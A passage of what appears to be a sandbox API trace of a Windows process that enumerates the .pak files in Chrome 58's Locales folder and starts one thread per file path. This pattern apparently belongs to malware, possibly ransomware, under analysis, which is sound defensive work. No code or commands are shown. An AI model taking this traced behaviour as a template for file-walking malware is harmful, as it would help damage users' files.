dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c [0158.521] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecc51be, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x512b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="es.pak", cAlternateFileName="")) returned 1 [0158.521] wcscmp (_String1="es.pak", _String2=".") returned 1 [0158.521] wcscmp (_String1="es.pak", _String2="..") returned 1 [0158.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64370 [0158.521] wcscpy (in: _Dest=0x1cd64370, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.521] wcscat (in: _Dest=0x1cd64370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.521] wcscat (in: _Dest=0x1cd64370, _Source="es.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\es.pak" [0158.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048 [0158.522] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecf10f0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x469ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="et.pak", cAlternateFileName="")) returned 1 [0158.522] wcscmp (_String1="et.pak", _String2=".") returned 1 [0158.522] wcscmp (_String1="et.pak", _String2="..") returned 1 [0158.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12050 [0158.522] wcscpy (in: _Dest=0x1ce12050, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.522] wcscat (in: _Dest=0x1ce12050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.522] wcscat (in: _Dest=0x1ce12050, _Source="et.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak" [0158.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0 [0158.523] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed1f733, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x72286, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa.pak", cAlternateFileName="")) returned 1 [0158.523] wcscmp (_String1="fa.pak", _String2=".") returned 1 [0158.523] wcscmp (_String1="fa.pak", _String2="..") returned 1 [0158.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12100 [0158.524] wcscpy (in: _Dest=0x1ce12100, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.524] wcscat (in: _Dest=0x1ce12100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.524] wcscat (in: _Dest=0x1ce12100, _Source="fa.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak" [0158.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0158.524] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed44132, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4b6ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi.pak", cAlternateFileName="")) returned 1 [0158.524] wcscmp (_String1="fi.pak", _String2=".") returned 1 [0158.524] wcscmp (_String1="fi.pak", _String2="..") returned 1 [0158.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11fa0 [0158.525] wcscpy (in: _Dest=0x1ce11fa0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.525] wcscat (in: _Dest=0x1ce11fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.525] wcscat (in: _Dest=0x1ce11fa0, _Source="fi.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak" [0158.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0158.526] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed72775, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil.pak", cAlternateFileName="")) returned 1 [0158.526] wcscmp (_String1="fil.pak", _String2=".") returned 1 [0158.526] wcscmp (_String1="fil.pak", _String2="..") returned 1 [0158.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11ef0 [0158.526] wcscpy (in: _Dest=0x1ce11ef0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.526] wcscat (in: _Dest=0x1ce11ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.526] wcscat (in: _Dest=0x1ce11ef0, _Source="fil.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fil.pak" [0158.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0158.527] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed97174, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x55a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr.pak", cAlternateFileName="")) returned 1 [0158.527] wcscmp (_String1="fr.pak", _String2=".") returned 1 [0158.527] wcscmp (_String1="fr.pak", _String2="..") returned 1 [0158.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11e40 [0158.527] wcscpy (in: _Dest=0x1ce11e40, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.527] wcscat (in: _Dest=0x1ce11e40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.527] wcscat (in: _Dest=0x1ce11e40, _Source="fr.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fr.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fr.pak" [0158.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0158.528] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfedd1b0c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9f1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu.pak", cAlternateFileName="")) returned 1 [0158.528] wcscmp (_String1="gu.pak", _String2=".") returned 1 [0158.528] wcscmp (_String1="gu.pak", _String2="..") returned 1 [0158.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12310 [0158.528] wcscpy (in: _Dest=0x1ce12310, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.528] wcscat (in: _Dest=0x1ce12310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.529] wcscat (in: _Dest=0x1ce12310, _Source="gu.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\gu.pak" [0158.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0158.529] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee07682, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5df23, dwReserved0=0x0, dwReserved1=0x0, cFileName="he.pak", cAlternateFileName="")) returned 1 [0158.529] wcscmp (_String1="he.pak", _String2=".") returned 1 [0158.529] wcscmp (_String1="he.pak", _String2="..") returned 1 [0158.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10c60 [0158.530] wcscpy (in: _Dest=0x1ce10c60, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.530] wcscat (in: _Dest=0x1ce10c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.530] wcscat (in: _Dest=0x1ce10c60, _Source="he.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\he.pak" [0158.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0158.531] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee383d6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa3281, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi.pak", cAlternateFileName="")) returned 1 [0158.531] wcscmp (_String1="hi.pak", _String2=".") returned 1 [0158.531] wcscmp (_String1="hi.pak", _String2="..") returned 1 [0158.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce121b0 [0158.531] wcscpy (in: _Dest=0x1ce121b0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.531] wcscat (in: _Dest=0x1ce121b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.531] wcscat (in: _Dest=0x1ce121b0, _Source="hi.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak" [0158.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce121b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118 [0158.532] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee6df4c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr.pak", cAlternateFileName="")) returned 1 [0158.532] wcscmp (_String1="hr.pak", _String2=".") returned 1 [0158.532] wcscmp (_String1="hr.pak", _String2="..") returned 1 [0158.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12470 [0158.532] wcscpy (in: _Dest=0x1ce12470, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.532] wcscat (in: _Dest=0x1ce12470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.532] wcscat (in: _Dest=0x1ce12470, _Source="hr.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hr.pak" [0158.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c [0158.533] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee9505c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x54a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu.pak", cAlternateFileName="")) returned 1 [0158.533] wcscmp (_String1="hu.pak", _String2=".") returned 1 [0158.533] wcscmp (_String1="hu.pak", _String2="..") returned 1 [0158.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12520 [0158.534] wcscpy (in: _Dest=0x1ce12520, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.534] wcscat (in: _Dest=0x1ce12520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.534] wcscat (in: _Dest=0x1ce12520, _Source="hu.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hu.pak" [0158.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0158.534] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeebe87d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="id.pak", cAlternateFileName="")) returned 1 [0158.535] wcscmp (_String1="id.pak", _String2=".") returned 1 [0158.535] wcscmp (_String1="id.pak", _String2="..") returned 1 [0158.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce125d0 [0158.535] wcscpy (in: _Dest=0x1ce125d0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.535] wcscat (in: _Dest=0x1ce125d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.535] wcscat (in: _Dest=0x1ce125d0, _Source="id.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak" [0158.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce125d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1500 [0158.536] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeee598d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e532, dwReserved0=0x0, dwReserved1=0x0, cFileName="it.pak", cAlternateFileName="")) returned 1 [0158.536] wcscmp (_String1="it.pak", _String2=".") returned 1 [0158.536] wcscmp (_String1="it.pak", _String2="..") returned 1 [0158.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12680 [0158.536] wcscpy (in: _Dest=0x1ce12680, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.537] wcscat (in: _Dest=0x1ce12680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.537] wcscat (in: _Dest=0x1ce12680, _Source="it.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak" [0158.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0158.538] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef118bf, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5f8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja.pak", cAlternateFileName="")) returned 1 [0158.538] wcscmp (_String1="ja.pak", _String2=".") returned 1 [0158.538] wcscmp (_String1="ja.pak", _String2="..") returned 1 [0158.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12730 [0158.538] wcscpy (in: _Dest=0x1ce12730, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.538] wcscat (in: _Dest=0x1ce12730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.538] wcscat (in: _Dest=0x1ce12730, _Source="ja.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak" [0158.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0158.539] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef3ff02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb6beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn.pak", cAlternateFileName="")) returned 1 [0158.539] wcscmp (_String1="kn.pak", _String2=".") returned 1 [0158.539] wcscmp (_String1="kn.pak", _String2="..") returned 1 [0158.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce127e0 [0158.539] wcscpy (in: _Dest=0x1ce127e0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.539] wcscat (in: _Dest=0x1ce127e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") 